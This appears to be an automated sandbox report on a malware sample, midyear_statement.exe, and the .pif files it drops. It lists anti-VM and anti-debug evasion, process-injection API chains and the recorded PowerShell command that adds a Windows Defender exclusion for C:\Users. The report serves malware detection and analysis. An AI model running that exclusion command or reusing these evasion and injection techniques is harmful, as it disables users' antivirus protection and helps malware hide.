Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1233F7A7 Sleep,ExitProcess,

24_2_1233F7A7

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 27_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,

27_2_0040DD85

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

24_2_1234A748

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5574	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4195	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Window / User API: threadDelayed 9520	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Window / User API: foregroundWindowGot 1755	Jump to behavior

Source: C:\Users\Public\Libraries\wkrriuhD.pif

API coverage: 9.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep count: 5574 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep count: 4195 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif TID: 7928	Thread sleep count: 143 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif TID: 7928	Thread sleep time: -429000s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif TID: 7924	Thread sleep count: 139 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif TID: 7924	Thread sleep time: -69500s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif TID: 7928	Thread sleep count: 9520 > 30	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif TID: 7928	Thread sleep time: -28560000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation	Jump to behavior

Source: C:\Users\user\Desktop\midyear_statement.exe	Code function: 0_2_040A5878 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_040A5878
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_00401612 RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,GetLocalTime,CreateDirectoryA,FindFirstFileA,MoveFileA,FindNextFileA,FindClose,	24_2_00401612
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_0040128D RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,FindFirstFileA,FindClose,GetLocalTime,	24_2_0040128D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12339253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	24_2_12339253
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1234C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	24_2_1234C291
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	24_2_1233C34D
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12339665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	24_2_12339665
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12349AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	24_2_12349AF5
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	24_2_1233BB30
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233783C FindFirstFileW,FindNextFileW,	24_2_1233783C
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	24_2_1233880C
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1237E879 FindFirstFileExA,	24_2_1237E879
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1233BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	24_2_1233BD37
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_146410F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	24_2_146410F1
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_14646580 FindFirstFileExA,	24_2_14646580
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 27_2_0040AE51 FindFirstFileW,FindNextFileW,	27_2_0040AE51
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 28_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	28_2_00407EF8

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_12337C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

24_2_12337C97

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 27_2_00418981 memset,GetSystemInfo,

27_2_00418981

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: svchost.exe, 00000009.00000002.3646811739.0000026BC204B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.3646907116.0000026BC2080000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Dhuirrkw.PIF, 0000001E.00000003.1564727013.000000000077B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: svchost.exe, 00000009.00000002.3646615871.0000026BC202B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: midyear_statement.exe, 00000000.00000002.1362063312.000000000085C000.00000004.00000020.00020000.00000000.sdmp, midyear_statement.exe, 00000000.00000002.1362063312.000000000088A000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.00000000124E9000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1379159545.00000000124E0000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1405851694.00000000124E9000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000002.3664577079.000000001245D000.00000004.00000020.00020000.00000000.sdmp, wkrriuhD.pif, 00000018.00000003.1382585003.00000000124E5000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 0000001E.00000003.1564727013.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, Dhuirrkw.PIF, 00000020.00000003.1637043609.00000000007BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3644458412.0000026BC2002000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: bhv348F.tmp.27.dr	Binary or memory string: https://r.bing.com/rb/18/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=Dx0ma3d6fXRucbIBtQEmpQEmuAE&or=w
Source: svchost.exe, 00000009.00000002.3646907116.0000026BC2064000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: midyear_statement.exe, 00000000.00000002.1362063312.000000000088A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj
Source: svchost.exe, 00000009.00000002.3647045184.0000026BC208D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000009.00000002.3646907116.0000026BC2064000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000`
Source: svchost.exe, 00000009.00000002.3646907116.0000026BC2064000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000{#s
Source: Dhuirrkw.PIF, 0000001E.00000003.1564727013.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_
Source: Dhuirrkw.PIF, 00000020.00000003.1637043609.000000000078E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3646811739.0000026BC204B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\midyear_statement.exe	API call chain: ExitProcess graph end node	graph_0-35413
Source: C:\Users\Public\Libraries\wkrriuhD.pif	API call chain: ExitProcess graph end node	graph_24-111133
Source: C:\Users\Public\Libraries\wkrriuhD.pif	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_1236BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

24_2_1236BB22

Source: C:\Users\Public\Libraries\wkrriuhD.pif

27_2_0040DD85

Source: C:\Users\user\Desktop\midyear_statement.exe

Code function: 0_2_040B7A50 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,

0_2_040B7A50

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_0059113F mov eax, dword ptr fs:[00000030h]	24_2_0059113F
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_0059113F mov eax, dword ptr fs:[00000030h]	24_2_0059113F
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_005D4097 mov eax, dword ptr fs:[00000030h]	24_2_005D4097
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123732B5 mov eax, dword ptr fs:[00000030h]	24_2_123732B5
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_14644AB4 mov eax, dword ptr fs:[00000030h]	24_2_14644AB4

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_12341CFE SetLastError,GetNativeSystemInfo,SetLastError,GetProcessHeap,HeapAlloc,SetLastError,

24_2_12341CFE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Process token adjusted: Debug

Source: C:\Windows \System32\2506803.exe	Code function: 16_2_613C21C0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_613C21C0
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_1236BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_1236BB22
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12364B47 SetUnhandledExceptionFilter,	24_2_12364B47
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_123649F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_123649F9
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_12364FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_12364FDC
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_14642639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_14642639
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_146460E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_146460E2
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Code function: 24_2_14642B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	24_2_14642B1C

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\midyear_statement.exe	Memory allocated: C:\Users\Public\Libraries\wkrriuhD.pif base: 590000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Memory allocated: C:\Users\Public\Libraries\wkrriuhD.pif base: 590000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Dhuirrkw.PIF	Memory allocated: C:\Users\Public\Libraries\wkrriuhD.pif base: 590000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\Public\Libraries\wkrriuhD.pif

Code function: 24_2_123480EF GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,CreateProcessW,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtCreateSection,NtUnmapViewOfSection,NtMapViewOfSection,VirtualFree,NtClose,TerminateProcess,GetModuleHandleA,GetProcAddress,GetCurrentProcess,NtMapViewOfSection,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,VirtualFree,GetCurrentProcess,NtUnmapViewOfSection,NtClose,TerminateProcess,GetLastError,

24_2_123480EF

Maps a DLL or memory area into another process

Source: C:\Users\Public\Libraries\wkrriuhD.pif	Section loaded: NULL target: C:\Users\Public\Libraries\wkrriuhD.pif protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Section loaded: NULL target: C:\Users\Public\Libraries\wkrriuhD.pif protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\wkrriuhD.pif	Section loaded: NULL target: C:\Users\Public\Libraries\wkrriuhD.pif protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

